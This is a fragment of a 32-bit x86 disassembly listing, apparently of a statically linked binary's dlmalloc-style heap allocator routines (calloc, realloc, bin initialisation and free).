804cfb3: 83 4c 18 04 01 orl $0x1,0x4(%eax,%ebx,1) | |
804cfb8: 89 cb mov %ecx,%ebx | |
804cfba: eb 0d jmp 0x804cfc9 | |
804cfbc: e8 f5 f5 ff ff call 0x804c5b6 | |
804cfc1: 31 db xor %ebx,%ebx | |
804cfc3: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804cfc9: 50 push %eax | |
804cfca: 50 push %eax | |
804cfcb: 6a 01 push $0x1 | |
804cfcd: 8d 44 24 38 lea 0x38(%esp),%eax | |
804cfd1: 50 push %eax | |
804cfd2: e8 c5 0d 00 00 call 0x804dd9c | |
804cfd7: 83 c4 10 add $0x10,%esp | |
804cfda: 83 c4 3c add $0x3c,%esp | |
804cfdd: 89 d8 mov %ebx,%eax | |
804cfdf: 5b pop %ebx | |
804cfe0: 5e pop %esi | |
804cfe1: 5f pop %edi | |
804cfe2: 5d pop %ebp | |
804cfe3: c3 ret | |
804cfe4: 57 push %edi | |
804cfe5: 56 push %esi | |
804cfe6: 53 push %ebx | |
804cfe7: 83 ec 10 sub $0x10,%esp | |
804cfea: 8b 54 24 20 mov 0x20(%esp),%edx | |
804cfee: 8b 4c 24 24 mov 0x24(%esp),%ecx | |
804cff2: 89 d3 mov %edx,%ebx | |
804cff4: 0f af d9 imul %ecx,%ebx | |
804cff7: 85 d2 test %edx,%edx | |
804cff9: 74 1e je 0x804d019 | |
804cffb: 89 d7 mov %edx,%edi | |
804cffd: 89 d8 mov %ebx,%eax | |
804cfff: 31 d2 xor %edx,%edx | |
804d001: f7 f7 div %edi | |
804d003: 39 c1 cmp %eax,%ecx | |
804d005: 74 12 je 0x804d019 | |
804d007: e8 aa f5 ff ff call 0x804c5b6 | |
804d00c: 31 db xor %ebx,%ebx | |
804d00e: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804d014: e9 b6 00 00 00 jmp 0x804d0cf | |
804d019: 56 push %esi | |
804d01a: 68 38 f0 04 08 push $0x804f038 | |
804d01f: 68 99 dd 04 08 push $0x804dd99 | |
804d024: 8d 44 24 0c lea 0xc(%esp),%eax | |
804d028: 50 push %eax | |
804d029: e8 6e 0d 00 00 call 0x804dd9c | |
804d02e: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804d035: e8 5f 0d 00 00 call 0x804dd99 | |
804d03a: 89 1c 24 mov %ebx,(%esp) | |
804d03d: e8 2e f8 ff ff call 0x804c870 | |
804d042: 83 c4 10 add $0x10,%esp | |
804d045: 89 c3 mov %eax,%ebx | |
804d047: 85 c0 test %eax,%eax | |
804d049: 74 73 je 0x804d0be | |
804d04b: 8b 40 fc mov -0x4(%eax),%eax | |
804d04e: a8 02 test $0x2,%al | |
804d050: 75 6c jne 0x804d0be | |
804d052: 83 e0 fc and $0xfffffffc,%eax | |
804d055: 8d 50 fc lea -0x4(%eax),%edx | |
804d058: 89 d0 mov %edx,%eax | |
804d05a: c1 e8 02 shr $0x2,%eax | |
804d05d: 83 f8 09 cmp $0x9,%eax | |
804d060: 76 0f jbe 0x804d071 | |
804d062: 51 push %ecx | |
804d063: 52 push %edx | |
804d064: 6a 00 push $0x0 | |
804d066: 53 push %ebx | |
804d067: e8 9b f5 ff ff call 0x804c607 | |
804d06c: 83 c4 10 add $0x10,%esp | |
804d06f: eb 4d jmp 0x804d0be | |
804d071: c7 03 00 00 00 00 movl $0x0,(%ebx) | |
804d077: c7 43 04 00 00 00 00 movl $0x0,0x4(%ebx) | |
804d07e: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) | |
804d085: 83 f8 04 cmp $0x4,%eax | |
804d088: 76 34 jbe 0x804d0be | |
804d08a: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) | |
804d091: c7 43 10 00 00 00 00 movl $0x0,0x10(%ebx) | |
804d098: 83 f8 06 cmp $0x6,%eax | |
804d09b: 76 21 jbe 0x804d0be | |
804d09d: c7 43 14 00 00 00 00 movl $0x0,0x14(%ebx) | |
804d0a4: c7 43 18 00 00 00 00 movl $0x0,0x18(%ebx) | |
804d0ab: 83 f8 08 cmp $0x8,%eax | |
804d0ae: 76 0e jbe 0x804d0be | |
804d0b0: c7 43 1c 00 00 00 00 movl $0x0,0x1c(%ebx) | |
804d0b7: c7 43 20 00 00 00 00 movl $0x0,0x20(%ebx) | |
804d0be: 50 push %eax | |
804d0bf: 50 push %eax | |
804d0c0: 6a 01 push $0x1 | |
804d0c2: 8d 44 24 0c lea 0xc(%esp),%eax | |
804d0c6: 50 push %eax | |
804d0c7: e8 d0 0c 00 00 call 0x804dd9c | |
804d0cc: 83 c4 10 add $0x10,%esp | |
804d0cf: 83 c4 10 add $0x10,%esp | |
804d0d2: 89 d8 mov %ebx,%eax | |
804d0d4: 5b pop %ebx | |
804d0d5: 5e pop %esi | |
804d0d6: 5f pop %edi | |
804d0d7: c3 ret | |
804d0d8: 55 push %ebp | |
804d0d9: 57 push %edi | |
804d0da: 56 push %esi | |
804d0db: 53 push %ebx | |
804d0dc: 83 ec 1c sub $0x1c,%esp | |
804d0df: 8b 5c 24 34 mov 0x34(%esp),%ebx | |
804d0e3: 83 7c 24 30 00 cmpl $0x0,0x30(%esp) | |
804d0e8: 75 10 jne 0x804d0fa | |
804d0ea: 83 ec 0c sub $0xc,%esp | |
804d0ed: 53 push %ebx | |
804d0ee: e8 7d f7 ff ff call 0x804c870 | |
804d0f3: 89 c3 mov %eax,%ebx | |
804d0f5: e9 f9 02 00 00 jmp 0x804d3f3 | |
804d0fa: 85 db test %ebx,%ebx | |
804d0fc: 75 11 jne 0x804d10f | |
804d0fe: 83 ec 0c sub $0xc,%esp | |
804d101: ff 74 24 3c pushl 0x3c(%esp) | |
804d105: e8 2b 05 00 00 call 0x804d635 | |
804d10a: e9 e4 02 00 00 jmp 0x804d3f3 | |
804d10f: 57 push %edi | |
804d110: 68 38 f0 04 08 push $0x804f038 | |
804d115: 68 99 dd 04 08 push $0x804dd99 | |
804d11a: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d11e: 50 push %eax | |
804d11f: e8 78 0c 00 00 call 0x804dd9c | |
804d124: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804d12b: e8 69 0c 00 00 call 0x804dd99 | |
804d130: 83 c4 10 add $0x10,%esp | |
804d133: 83 fb df cmp $0xffffffdf,%ebx | |
804d136: 76 12 jbe 0x804d14a | |
804d138: e8 79 f4 ff ff call 0x804c5b6 | |
804d13d: 31 db xor %ebx,%ebx | |
804d13f: c7 00 0c 00 00 00 movl $0xc,(%eax) | |
804d145: e9 ac 02 00 00 jmp 0x804d3f6 | |
804d14a: 8d 43 0b lea 0xb(%ebx),%eax | |
804d14d: c7 44 24 04 10 00 00 movl $0x10,0x4(%esp) | |
804d154: 00 | |
804d155: 83 f8 0f cmp $0xf,%eax | |
804d158: 76 07 jbe 0x804d161 | |
804d15a: 83 e0 f8 and $0xfffffff8,%eax | |
804d15d: 89 44 24 04 mov %eax,0x4(%esp) | |
804d161: 8b 7c 24 30 mov 0x30(%esp),%edi | |
804d165: 83 ef 08 sub $0x8,%edi | |
804d168: 8b 57 04 mov 0x4(%edi),%edx | |
804d16b: 89 d0 mov %edx,%eax | |
804d16d: 83 e0 fc and $0xfffffffc,%eax | |
804d170: 89 44 24 08 mov %eax,0x8(%esp) | |
804d174: f6 c2 02 test $0x2,%dl | |
804d177: 0f 85 94 01 00 00 jne 0x804d311 | |
804d17d: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
804d181: 89 c3 mov %eax,%ebx | |
804d183: 39 c8 cmp %ecx,%eax | |
804d185: 0f 83 31 01 00 00 jae 0x804d2bc | |
804d18b: 8d 34 07 lea (%edi,%eax,1),%esi | |
804d18e: 3b 35 6c f2 04 08 cmp 0x804f26c,%esi | |
804d194: 75 38 jne 0x804d1ce | |
804d196: 8b 46 04 mov 0x4(%esi),%eax | |
804d199: 89 d9 mov %ebx,%ecx | |
804d19b: 83 e0 fc and $0xfffffffc,%eax | |
804d19e: 01 c1 add %eax,%ecx | |
804d1a0: 8b 44 24 04 mov 0x4(%esp),%eax | |
804d1a4: 83 c0 10 add $0x10,%eax | |
804d1a7: 39 c1 cmp %eax,%ecx | |
804d1a9: 72 61 jb 0x804d20c | |
804d1ab: 83 e2 01 and $0x1,%edx | |
804d1ae: 0b 54 24 04 or 0x4(%esp),%edx | |
804d1b2: 89 57 04 mov %edx,0x4(%edi) | |
804d1b5: 8b 74 24 04 mov 0x4(%esp),%esi | |
804d1b9: 29 f1 sub %esi,%ecx | |
804d1bb: 8d 04 37 lea (%edi,%esi,1),%eax | |
804d1be: 83 c9 01 or $0x1,%ecx | |
804d1c1: a3 6c f2 04 08 mov %eax,0x804f26c | |
804d1c6: 89 48 04 mov %ecx,0x4(%eax) | |
804d1c9: e9 13 02 00 00 jmp 0x804d3e1 | |
804d1ce: 8b 56 04 mov 0x4(%esi),%edx | |
804d1d1: 89 d0 mov %edx,%eax | |
804d1d3: 83 e0 fe and $0xfffffffe,%eax | |
804d1d6: f6 44 06 04 01 testb $0x1,0x4(%esi,%eax,1) | |
804d1db: 75 2f jne 0x804d20c | |
804d1dd: 83 e2 fc and $0xfffffffc,%edx | |
804d1e0: 8b 5c 24 08 mov 0x8(%esp),%ebx | |
804d1e4: 01 d3 add %edx,%ebx | |
804d1e6: 3b 5c 24 04 cmp 0x4(%esp),%ebx | |
804d1ea: 72 20 jb 0x804d20c | |
804d1ec: 8b 56 08 mov 0x8(%esi),%edx | |
804d1ef: 8b 46 0c mov 0xc(%esi),%eax | |
804d1f2: 39 72 0c cmp %esi,0xc(%edx) | |
804d1f5: 75 05 jne 0x804d1fc | |
804d1f7: 39 70 08 cmp %esi,0x8(%eax) | |
804d1fa: 74 05 je 0x804d201 | |
804d1fc: e8 d0 05 00 00 call 0x804d7d1 | |
804d201: 89 42 0c mov %eax,0xc(%edx) | |
804d204: 89 50 08 mov %edx,0x8(%eax) | |
804d207: e9 b0 00 00 00 jmp 0x804d2bc | |
804d20c: 83 ec 0c sub $0xc,%esp | |
804d20f: 8b 44 24 10 mov 0x10(%esp),%eax | |
804d213: 83 e8 07 sub $0x7,%eax | |
804d216: 50 push %eax | |
804d217: e8 54 f6 ff ff call 0x804c870 | |
804d21c: 83 c4 10 add $0x10,%esp | |
804d21f: 89 c2 mov %eax,%edx | |
804d221: 85 c0 test %eax,%eax | |
804d223: 0f 84 b4 01 00 00 je 0x804d3dd | |
804d229: 8d 58 f8 lea -0x8(%eax),%ebx | |
804d22c: 39 f3 cmp %esi,%ebx | |
804d22e: 8b 43 04 mov 0x4(%ebx),%eax | |
804d231: 75 0c jne 0x804d23f | |
804d233: 83 e0 fc and $0xfffffffc,%eax | |
804d236: 8b 54 24 08 mov 0x8(%esp),%edx | |
804d23a: 8d 1c 10 lea (%eax,%edx,1),%ebx | |
804d23d: eb 7d jmp 0x804d2bc | |
804d23f: 8b 44 24 08 mov 0x8(%esp),%eax | |
804d243: 83 e8 04 sub $0x4,%eax | |
804d246: 89 c1 mov %eax,%ecx | |
804d248: c1 e9 02 shr $0x2,%ecx | |
804d24b: 83 f9 09 cmp $0x9,%ecx | |
804d24e: 76 11 jbe 0x804d261 | |
804d250: 56 push %esi | |
804d251: 50 push %eax | |
804d252: ff 74 24 38 pushl 0x38(%esp) | |
804d256: 52 push %edx | |
804d257: e8 57 14 00 00 call 0x804e6b3 | |
804d25c: 83 c4 10 add $0x10,%esp | |
804d25f: eb 47 jmp 0x804d2a8 | |
804d261: 8b 74 24 30 mov 0x30(%esp),%esi | |
804d265: 83 f9 04 cmp $0x4,%ecx | |
804d268: 8b 06 mov (%esi),%eax | |
804d26a: 89 02 mov %eax,(%edx) | |
804d26c: 8b 46 04 mov 0x4(%esi),%eax | |
804d26f: 89 42 04 mov %eax,0x4(%edx) | |
804d272: 8b 46 08 mov 0x8(%esi),%eax | |
804d275: 89 42 08 mov %eax,0x8(%edx) | |
804d278: 76 2e jbe 0x804d2a8 | |
804d27a: 8b 46 0c mov 0xc(%esi),%eax | |
804d27d: 83 f9 06 cmp $0x6,%ecx | |
804d280: 89 42 0c mov %eax,0xc(%edx) | |
804d283: 8b 46 10 mov 0x10(%esi),%eax | |
804d286: 89 42 10 mov %eax,0x10(%edx) | |
804d289: 76 1d jbe 0x804d2a8 | |
804d28b: 8b 46 14 mov 0x14(%esi),%eax | |
804d28e: 83 f9 08 cmp $0x8,%ecx | |
804d291: 89 42 14 mov %eax,0x14(%edx) | |
804d294: 8b 46 18 mov 0x18(%esi),%eax | |
804d297: 89 42 18 mov %eax,0x18(%edx) | |
804d29a: 76 0c jbe 0x804d2a8 | |
804d29c: 8b 46 1c mov 0x1c(%esi),%eax | |
804d29f: 89 42 1c mov %eax,0x1c(%edx) | |
804d2a2: 8b 46 20 mov 0x20(%esi),%eax | |
804d2a5: 89 42 20 mov %eax,0x20(%edx) | |
804d2a8: 83 ec 0c sub $0xc,%esp | |
804d2ab: 83 c3 08 add $0x8,%ebx | |
804d2ae: ff 74 24 3c pushl 0x3c(%esp) | |
804d2b2: e8 7e 03 00 00 call 0x804d635 | |
804d2b7: e9 1c 01 00 00 jmp 0x804d3d8 | |
804d2bc: 89 d9 mov %ebx,%ecx | |
804d2be: 2b 4c 24 04 sub 0x4(%esp),%ecx | |
804d2c2: 83 f9 0f cmp $0xf,%ecx | |
804d2c5: 77 12 ja 0x804d2d9 | |
804d2c7: 8b 47 04 mov 0x4(%edi),%eax | |
804d2ca: 83 e0 01 and $0x1,%eax | |
804d2cd: 09 d8 or %ebx,%eax | |
804d2cf: 89 47 04 mov %eax,0x4(%edi) | |
804d2d2: 83 4c 1f 04 01 orl $0x1,0x4(%edi,%ebx,1) | |
804d2d7: eb 30 jmp 0x804d309 | |
804d2d9: 8b 54 24 04 mov 0x4(%esp),%edx | |
804d2dd: 8d 04 17 lea (%edi,%edx,1),%eax | |
804d2e0: 8b 57 04 mov 0x4(%edi),%edx | |
804d2e3: 83 e2 01 and $0x1,%edx | |
804d2e6: 0b 54 24 04 or 0x4(%esp),%edx | |
804d2ea: 83 ec 0c sub $0xc,%esp | |
804d2ed: 89 57 04 mov %edx,0x4(%edi) | |
804d2f0: 89 ca mov %ecx,%edx | |
804d2f2: 83 ca 01 or $0x1,%edx | |
804d2f5: 89 50 04 mov %edx,0x4(%eax) | |
804d2f8: 83 4c 08 04 01 orl $0x1,0x4(%eax,%ecx,1) | |
804d2fd: 83 c0 08 add $0x8,%eax | |
804d300: 50 push %eax | |
804d301: e8 2f 03 00 00 call 0x804d635 | |
804d306: 83 c4 10 add $0x10,%esp | |
804d309: 8d 5f 08 lea 0x8(%edi),%ebx | |
804d30c: e9 d4 00 00 00 jmp 0x804d3e5 | |
804d311: 8b 4c 24 30 mov 0x30(%esp),%ecx | |
804d315: a1 9c f5 04 08 mov 0x804f59c,%eax | |
804d31a: 48 dec %eax | |
804d31b: 8b 74 24 04 mov 0x4(%esp),%esi | |
804d31f: 8b 69 f8 mov -0x8(%ecx),%ebp | |
804d322: 83 c6 04 add $0x4,%esi | |
804d325: 89 34 24 mov %esi,(%esp) | |
804d328: 8d 14 28 lea (%eax,%ebp,1),%edx | |
804d32b: f7 d0 not %eax | |
804d32d: 8d 34 32 lea (%edx,%esi,1),%esi | |
804d330: 21 c6 and %eax,%esi | |
804d332: 89 f3 mov %esi,%ebx | |
804d334: 29 eb sub %ebp,%ebx | |
804d336: 39 5c 24 08 cmp %ebx,0x8(%esp) | |
804d33a: 0f 84 a1 00 00 00 je 0x804d3e1 | |
804d340: 6a 01 push $0x1 | |
804d342: 56 push %esi | |
804d343: 8b 44 24 10 mov 0x10(%esp),%eax | |
804d347: 29 ef sub %ebp,%edi | |
804d349: 01 e8 add %ebp,%eax | |
804d34b: 50 push %eax | |
804d34c: 57 push %edi | |
804d34d: e8 70 11 00 00 call 0x804e4c2 | |
804d352: 83 c4 10 add $0x10,%esp | |
804d355: 83 f8 ff cmp $0xffffffff,%eax | |
804d358: 74 3f je 0x804d399 | |
804d35a: 8d 14 28 lea (%eax,%ebp,1),%edx | |
804d35d: 83 cb 02 or $0x2,%ebx | |
804d360: 89 f0 mov %esi,%eax | |
804d362: 89 5a 04 mov %ebx,0x4(%edx) | |
804d365: 2b 44 24 08 sub 0x8(%esp),%eax | |
804d369: 03 05 a4 f5 04 08 add 0x804f5a4,%eax | |
804d36f: a3 a4 f5 04 08 mov %eax,0x804f5a4 | |
804d374: 3b 05 b0 f5 04 08 cmp 0x804f5b0,%eax | |
804d37a: 76 05 jbe 0x804d381 | |
804d37c: a3 b0 f5 04 08 mov %eax,0x804f5b0 | |
804d381: 03 05 a8 f5 04 08 add 0x804f5a8,%eax | |
804d387: 3b 05 b4 f5 04 08 cmp 0x804f5b4,%eax | |
804d38d: 76 05 jbe 0x804d394 | |
804d38f: a3 b4 f5 04 08 mov %eax,0x804f5b4 | |
804d394: 8d 5a 08 lea 0x8(%edx),%ebx | |
804d397: eb 4c jmp 0x804d3e5 | |
804d399: 8b 04 24 mov (%esp),%eax | |
804d39c: 39 44 24 08 cmp %eax,0x8(%esp) | |
804d3a0: 73 3f jae 0x804d3e1 | |
804d3a2: 83 ec 0c sub $0xc,%esp | |
804d3a5: 8b 44 24 10 mov 0x10(%esp),%eax | |
804d3a9: 83 e8 07 sub $0x7,%eax | |
804d3ac: 50 push %eax | |
804d3ad: e8 be f4 ff ff call 0x804c870 | |
804d3b2: 83 c4 10 add $0x10,%esp | |
804d3b5: 89 c3 mov %eax,%ebx | |
804d3b7: 85 c0 test %eax,%eax | |
804d3b9: 74 22 je 0x804d3dd | |
804d3bb: 51 push %ecx | |
804d3bc: 8b 44 24 0c mov 0xc(%esp),%eax | |
804d3c0: 83 e8 08 sub $0x8,%eax | |
804d3c3: 50 push %eax | |
804d3c4: ff 74 24 38 pushl 0x38(%esp) | |
804d3c8: 53 push %ebx | |
804d3c9: e8 e5 12 00 00 call 0x804e6b3 | |
804d3ce: 5a pop %edx | |
804d3cf: ff 74 24 3c pushl 0x3c(%esp) | |
804d3d3: e8 5d 02 00 00 call 0x804d635 | |
804d3d8: 83 c4 10 add $0x10,%esp | |
804d3db: eb 08 jmp 0x804d3e5 | |
804d3dd: 31 db xor %ebx,%ebx | |
804d3df: eb 04 jmp 0x804d3e5 | |
804d3e1: 8b 5c 24 30 mov 0x30(%esp),%ebx | |
804d3e5: 50 push %eax | |
804d3e6: 50 push %eax | |
804d3e7: 6a 01 push $0x1 | |
804d3e9: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d3ed: 50 push %eax | |
804d3ee: e8 a9 09 00 00 call 0x804dd9c | |
804d3f3: 83 c4 10 add $0x10,%esp | |
804d3f6: 83 c4 1c add $0x1c,%esp | |
804d3f9: 89 d8 mov %ebx,%eax | |
804d3fb: 5b pop %ebx | |
804d3fc: 5e pop %esi | |
804d3fd: 5f pop %edi | |
804d3fe: 5d pop %ebp | |
804d3ff: c3 ret | |
804d400: 55 push %ebp | |
804d401: 57 push %edi | |
804d402: 56 push %esi | |
804d403: 53 push %ebx | |
804d404: 83 ec 0c sub $0xc,%esp | |
804d407: 89 d5 mov %edx,%ebp | |
804d409: 8b 8a 5c 03 00 00 mov 0x35c(%edx),%ecx | |
804d40f: 8b 52 2c mov 0x2c(%edx),%edx | |
804d412: 8b 72 04 mov 0x4(%edx),%esi | |
804d415: 83 e6 fc and $0xfffffffc,%esi | |
804d418: 89 f2 mov %esi,%edx | |
804d41a: 29 c2 sub %eax,%edx | |
804d41c: 8d 44 0a ef lea -0x11(%edx,%ecx,1),%eax | |
804d420: 31 d2 xor %edx,%edx | |
804d422: f7 f1 div %ecx | |
804d424: 8d 58 ff lea -0x1(%eax),%ebx | |
804d427: 0f af d9 imul %ecx,%ebx | |
804d42a: 85 db test %ebx,%ebx | |
804d42c: 7e 55 jle 0x804d483 | |
804d42e: 83 ec 0c sub $0xc,%esp | |
804d431: 6a 00 push $0x0 | |
804d433: e8 2d 11 00 00 call 0x804e565 | |
804d438: 89 c7 mov %eax,%edi | |
804d43a: 89 f0 mov %esi,%eax | |
804d43c: 03 45 2c add 0x2c(%ebp),%eax | |
804d43f: 83 c4 10 add $0x10,%esp | |
804d442: 39 c7 cmp %eax,%edi | |
804d444: 75 3d jne 0x804d483 | |
804d446: 83 ec 0c sub $0xc,%esp | |
804d449: f7 db neg %ebx | |
804d44b: 53 push %ebx | |
804d44c: e8 14 11 00 00 call 0x804e565 | |
804d451: c7 04 24 00 00 00 00 movl $0x0,(%esp) | |
804d458: e8 08 11 00 00 call 0x804e565 | |
804d45d: 83 c4 10 add $0x10,%esp | |
804d460: 83 f8 ff cmp $0xffffffff,%eax | |
804d463: 74 1e je 0x804d483 | |
804d465: 89 f9 mov %edi,%ecx | |
804d467: 29 c1 sub %eax,%ecx | |
804d469: 74 18 je 0x804d483 | |
804d46b: 8b 45 2c mov 0x2c(%ebp),%eax | |
804d46e: 29 8d 68 03 00 00 sub %ecx,0x368(%ebp) | |
804d474: 29 ce sub %ecx,%esi | |
804d476: 83 ce 01 or $0x1,%esi | |
804d479: 89 70 04 mov %esi,0x4(%eax) | |
804d47c: b8 01 00 00 00 mov $0x1,%eax | |
804d481: eb 02 jmp 0x804d485 | |
804d483: 31 c0 xor %eax,%eax | |
804d485: 83 c4 0c add $0xc,%esp | |
804d488: 5b pop %ebx | |
804d489: 5e pop %esi | |
804d48a: 5f pop %edi | |
804d48b: 5d pop %ebp | |
804d48c: c3 ret | |
804d48d: 55 push %ebp | |
804d48e: 57 push %edi | |
804d48f: 56 push %esi | |
804d490: 53 push %ebx | |
804d491: 83 ec 1c sub $0x1c,%esp | |
804d494: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d498: 8b 02 mov (%edx),%eax | |
804d49a: ba 01 00 00 00 mov $0x1,%edx | |
804d49f: 85 c0 test %eax,%eax | |
804d4a1: 0f 84 21 01 00 00 je 0x804d5c8 | |
804d4a7: 8b 4c 24 30 mov 0x30(%esp),%ecx | |
804d4ab: 83 e0 fd and $0xfffffffd,%eax | |
804d4ae: 89 01 mov %eax,(%ecx) | |
804d4b0: 83 c1 34 add $0x34,%ecx | |
804d4b3: 8b 44 24 30 mov 0x30(%esp),%eax | |
804d4b7: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d4bb: 83 c0 04 add $0x4,%eax | |
804d4be: 89 4c 24 18 mov %ecx,0x18(%esp) | |
804d4c2: 89 44 24 0c mov %eax,0xc(%esp) | |
804d4c6: 8b 02 mov (%edx),%eax | |
804d4c8: 8b 4c 24 0c mov 0xc(%esp),%ecx | |
804d4cc: c1 e8 03 shr $0x3,%eax | |
804d4cf: 8d 44 81 f8 lea -0x8(%ecx,%eax,4),%eax | |
804d4d3: 89 44 24 10 mov %eax,0x10(%esp) | |
804d4d7: 8b 44 24 0c mov 0xc(%esp),%eax | |
804d4db: 8b 08 mov (%eax),%ecx | |
804d4dd: 85 c9 test %ecx,%ecx | |
804d4df: 0f 84 c0 00 00 00 je 0x804d5a5 | |
804d4e5: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804d4eb: 8b 51 08 mov 0x8(%ecx),%edx | |
804d4ee: 89 54 24 14 mov %edx,0x14(%esp) | |
804d4f2: 8b 41 04 mov 0x4(%ecx),%eax | |
804d4f5: 89 c7 mov %eax,%edi | |
804d4f7: 83 e7 fe and $0xfffffffe,%edi | |
804d4fa: a8 01 test $0x1,%al | |
804d4fc: 8d 1c 39 lea (%ecx,%edi,1),%ebx | |
804d4ff: 8b 53 04 mov 0x4(%ebx),%edx | |
804d502: 89 54 24 08 mov %edx,0x8(%esp) | |
804d506: 75 20 jne 0x804d528 | |
804d508: 8b 29 mov (%ecx),%ebp | |
804d50a: 89 c8 mov %ecx,%eax | |
804d50c: 29 e8 sub %ebp,%eax | |
804d50e: 8b 70 08 mov 0x8(%eax),%esi | |
804d511: 8b 50 0c mov 0xc(%eax),%edx | |
804d514: 8b 4e 0c mov 0xc(%esi),%ecx | |
804d517: 39 c1 cmp %eax,%ecx | |
804d519: 75 3d jne 0x804d558 | |
804d51b: 39 4a 08 cmp %ecx,0x8(%edx) | |
804d51e: 75 38 jne 0x804d558 | |
804d520: 01 ef add %ebp,%edi | |
804d522: 89 56 0c mov %edx,0xc(%esi) | |
804d525: 89 72 08 mov %esi,0x8(%edx) | |
804d528: 8b 44 24 30 mov 0x30(%esp),%eax | |
804d52c: 8b 6c 24 08 mov 0x8(%esp),%ebp | |
804d530: 83 e5 fc and $0xfffffffc,%ebp | |
804d533: 3b 58 2c cmp 0x2c(%eax),%ebx | |
804d536: 74 51 je 0x804d589 | |
804d538: 8b 44 2b 04 mov 0x4(%ebx,%ebp,1),%eax | |
804d53c: 89 6b 04 mov %ebp,0x4(%ebx) | |
804d53f: 83 e0 01 and $0x1,%eax | |
804d542: 85 c0 test %eax,%eax | |
804d544: 75 1f jne 0x804d565 | |
804d546: 8b 53 08 mov 0x8(%ebx),%edx | |
804d549: 8b 43 0c mov 0xc(%ebx),%eax | |
804d54c: 8b 72 0c mov 0xc(%edx),%esi | |
804d54f: 39 de cmp %ebx,%esi | |
804d551: 75 05 jne 0x804d558 | |
804d553: 39 70 08 cmp %esi,0x8(%eax) | |
804d556: 74 05 je 0x804d55d | |
804d558: e8 74 02 00 00 call 0x804d7d1 | |
804d55d: 01 ef add %ebp,%edi | |
804d55f: 89 42 0c mov %eax,0xc(%edx) | |
804d562: 89 50 08 mov %edx,0x8(%eax) | |
804d565: 8b 44 24 18 mov 0x18(%esp),%eax | |
804d569: 8b 50 08 mov 0x8(%eax),%edx | |
804d56c: 89 48 08 mov %ecx,0x8(%eax) | |
804d56f: 89 f8 mov %edi,%eax | |
804d571: 83 c8 01 or $0x1,%eax | |
804d574: 89 4a 0c mov %ecx,0xc(%edx) | |
804d577: 89 41 04 mov %eax,0x4(%ecx) | |
804d57a: 8b 44 24 18 mov 0x18(%esp),%eax | |
804d57e: 89 51 08 mov %edx,0x8(%ecx) | |
804d581: 89 41 0c mov %eax,0xc(%ecx) | |
804d584: 89 3c 39 mov %edi,(%ecx,%edi,1) | |
804d587: eb 10 jmp 0x804d599 | |
804d589: 8d 04 2f lea (%edi,%ebp,1),%eax | |
804d58c: 83 c8 01 or $0x1,%eax | |
804d58f: 89 41 04 mov %eax,0x4(%ecx) | |
804d592: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d596: 89 4a 2c mov %ecx,0x2c(%edx) | |
804d599: 8b 4c 24 14 mov 0x14(%esp),%ecx | |
804d59d: 85 c9 test %ecx,%ecx | |
804d59f: 0f 85 46 ff ff ff jne 0x804d4eb | |
804d5a5: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
804d5a9: 39 4c 24 0c cmp %ecx,0xc(%esp) | |
804d5ad: 74 7e je 0x804d62d | |
804d5af: 83 44 24 0c 04 addl $0x4,0xc(%esp) | |
804d5b4: e9 1e ff ff ff jmp 0x804d4d7 | |
804d5b9: 8b 4c 24 30 mov 0x30(%esp),%ecx | |
804d5bd: 8d 44 d1 2c lea 0x2c(%ecx,%edx,8),%eax | |
804d5c1: 42 inc %edx | |
804d5c2: 89 40 0c mov %eax,0xc(%eax) | |
804d5c5: 89 40 08 mov %eax,0x8(%eax) | |
804d5c8: 83 fa 5f cmp $0x5f,%edx | |
804d5cb: 7e ec jle 0x804d5b9 | |
804d5cd: 8b 44 24 30 mov 0x30(%esp),%eax | |
804d5d1: 83 88 60 03 00 00 01 orl $0x1,0x360(%eax) | |
804d5d8: c7 80 48 03 00 00 00 movl $0x0,0x348(%eax) | |
804d5df: 00 00 00 | |
804d5e2: c7 80 54 03 00 00 00 movl $0x10000,0x354(%eax) | |
804d5e9: 00 01 00 | |
804d5ec: c7 80 4c 03 00 00 00 movl $0x40000,0x34c(%eax) | |
804d5f3: 00 04 00 | |
804d5f6: c7 80 44 03 00 00 00 movl $0x40000,0x344(%eax) | |
804d5fd: 00 04 00 | |
804d600: 8b 54 24 30 mov 0x30(%esp),%edx | |
804d604: 83 ec 0c sub $0xc,%esp | |
804d607: 8b 02 mov (%edx),%eax | |
804d609: 83 e0 03 and $0x3,%eax | |
804d60c: 83 c8 48 or $0x48,%eax | |
804d60f: 89 02 mov %eax,(%edx) | |
804d611: 89 d0 mov %edx,%eax | |
804d613: 83 c0 34 add $0x34,%eax | |
804d616: 89 42 2c mov %eax,0x2c(%edx) | |
804d619: 6a 1e push $0x1e | |
804d61b: e8 f5 05 00 00 call 0x804dc15 | |
804d620: 8b 4c 24 40 mov 0x40(%esp),%ecx | |
804d624: 83 c4 10 add $0x10,%esp | |
804d627: 89 81 5c 03 00 00 mov %eax,0x35c(%ecx) | |
804d62d: 83 c4 1c add $0x1c,%esp | |
804d630: 5b pop %ebx | |
804d631: 5e pop %esi | |
804d632: 5f pop %edi | |
804d633: 5d pop %ebp | |
804d634: c3 ret | |
804d635: 55 push %ebp | |
804d636: 57 push %edi | |
804d637: 56 push %esi | |
804d638: 53 push %ebx | |
804d639: 83 ec 1c sub $0x1c,%esp | |
804d63c: 8b 7c 24 30 mov 0x30(%esp),%edi | |
804d640: 85 ff test %edi,%edi | |
804d642: 0f 84 81 01 00 00 je 0x804d7c9 | |
804d648: 56 push %esi | |
804d649: 68 38 f0 04 08 push $0x804f038 | |
804d64e: 68 99 dd 04 08 push $0x804dd99 | |
804d653: 8d 44 24 18 lea 0x18(%esp),%eax | |
804d657: 50 push %eax | |
804d658: e8 3f 07 00 00 call 0x804dd9c | |
804d65d: c7 04 24 38 f0 04 08 movl $0x804f038,(%esp) | |
804d664: e8 30 07 00 00 call 0x804dd99 | |
804d669: 8d 4f f8 lea -0x8(%edi),%ecx | |
